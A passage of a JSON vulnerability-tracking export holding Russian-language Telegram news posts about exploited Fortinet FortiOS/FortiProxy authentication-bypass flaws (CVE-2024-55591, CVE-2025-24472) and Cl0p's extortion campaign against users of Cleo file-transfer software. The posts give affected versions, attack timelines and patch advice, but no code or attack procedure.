\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Laravel.", "creation_timestamp": "2025-01-30T16:00:07.000000Z"}, {"uuid": "3c25a0c9-bcc6-4a02-b0dc-dfe220d3b464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/true_secator/6619", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 0-day, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 FortiOS \u0438 FortiProxy, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Fortinet \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-55591 \u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 FortiOS 7.0.0 - 7.0.16, FortiProxy 7.0.0 - 7.0.19 \u0438 FortiProxy 7.2.0 - 7.2.12.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0443\u043b\u044e \u0432\u0435\u0431-\u0441\u043e\u043a\u0435\u0442\u0430 Node.js.\n\nFortinet \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0435 0-day \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0438\u0445 \u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 SSL VPN \u0438\u043b\u0438 \u0436\u0435 \u0432 \u043d\u043e\u0432\u044b\u0435.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434 \u0432 SSLVPN \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0443\u043d\u043d\u0435\u043b\u044f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 Fortinet \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430.\n\n\u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Arctic Wolf \u0432\u044b\u043a\u0440\u0430\u043b\u0438 \u043e\u0442\u0447\u0435\u0442\u00a0\u00a0\u0441 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 IOC, \u0441\u043e\u043e\u0431\u0449\u0430\u044f \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u043e\u044f\u0431\u0440\u044f \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Fortinet FortiGate \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e SSL VPN \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\u0425\u043e\u0442\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d, \u0432\u0435\u0441\u044c\u043c\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0430 0-day.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u043c \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u0445.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Fortinet \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 HTTP/HTTPS \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438.\n\nArctic Wolf \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2024-55591 \u043d\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u044d\u0442\u0430\u043f\u0430, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435:\n- 16-23 \u043d\u043e\u044f\u0431\u0440\u044f: \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439;\n- 22-27 \u043d\u043e\u044f\u0431\u0440\u044f: \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430;\n- 4-7 \u0434\u0435\u043a\u0430\u0431\u0440\u044f: \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f SSL VPN;\n- 16-27 \u0434\u0435\u043a\u0430\u0431\u0440\u044f: \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0442\u043e\u043d\u043a\u0438\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0432 \u043c\u0435\u0442\u043e\u0434\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043a\u0442\u043e\u0440\u043e\u0432, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 jsconsole \u0431\u044b\u043b\u043e \u043e\u0431\u0449\u0435\u0439 \u0447\u0435\u0440\u0442\u043e\u0439 \u0434\u043b\u044f \u0432\u0441\u0435\u0445.\n\nArctic Wolf \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 Fortinet \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 12 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0442 FortiGuard Labs PSIRT 17 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u0442\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0438 \u0432\u043e\u0432\u0441\u044e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0430\u0441\u044c.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Fortinet \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 (CVE-2023-37936).\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043a\u043b\u044e\u0447\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "creation_timestamp": "2025-01-14T18:41:58.000000Z"}, {"uuid": "3c1b3996-0e99-4ab7-ab52-8a8b7463df61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/true_secator/6727", "content": "Fortinet \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e\u00a0CVE-2024-55591, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a \u043a\u0430\u043a\u00a0CVE-2025-24472\u00a0(CVSS: 8,1).\n\n\u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 FortiOS \u0438 FortiProxy \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 CSF, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412\u043d\u043e\u0432\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiOS 7.0.0 - 7.0.16, FortiProxy 7.0.0 - 7.0.19 \u0438 FortiProxy 7.2.0 - 7.2.12.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u0440\u0430\u0437\u0438\u043b\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c watchTowr Labs \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435 \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0439 0-day.\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0430\u0445, \u043e\u0434\u043d\u0430\u043a\u043e Fortinet \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e CVE-2024-55591 \u0432 FortiOS \u0438 FortiProxy \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439.\n\n\u041d\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 CVE-2024-55591 \u0432 FortiOS 7.0.17 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435 \u0438 FortiProxy 7.0.20/7.2.13 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u044b.", "creation_timestamp": "2025-02-12T18:00:07.000000Z"}, {"uuid": "1175b8f9-baf2-4a35-a10f-32670cb02f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "exploited", "source": "https://t.me/true_secator/6595", "content": "\u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u0430\u043d\u0434\u0430 Cl0p \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0441\u0432\u043e\u0438\u0445 66 \u0436\u0435\u0440\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430 \u0434\u043d\u044f\u0445 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0430 DLS \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Cleo.\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f Cleo \u0432\u0437\u044f\u043b\u0438 \u043d\u0430 \u0441\u0435\u0431\u044f \u043e\u0442\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u0430\u0442\u0430\u043a\u0438 Cleo, \u0437\u0430\u044f\u0432\u0438\u0432 \u043e \u0432\u0437\u043b\u043e\u043c\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0446\u0435\u043b\u0435\u0439. \u041d\u0430 DLS \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b\u0438 \u0442\u0435\u0445, \u0441 \u043a\u0435\u043c \u0435\u0449\u0435 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0432\u044b\u043a\u0443\u043f\u0430.\n\n\u041e\u0434\u043d\u0443 \u0438\u0437 \u043d\u0438\u0445 \u0432\u0441\u0435 \u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u0447\u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u043b\u0430\u043d\u043e\u0432. \u0416\u0435\u0440\u0442\u0432\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 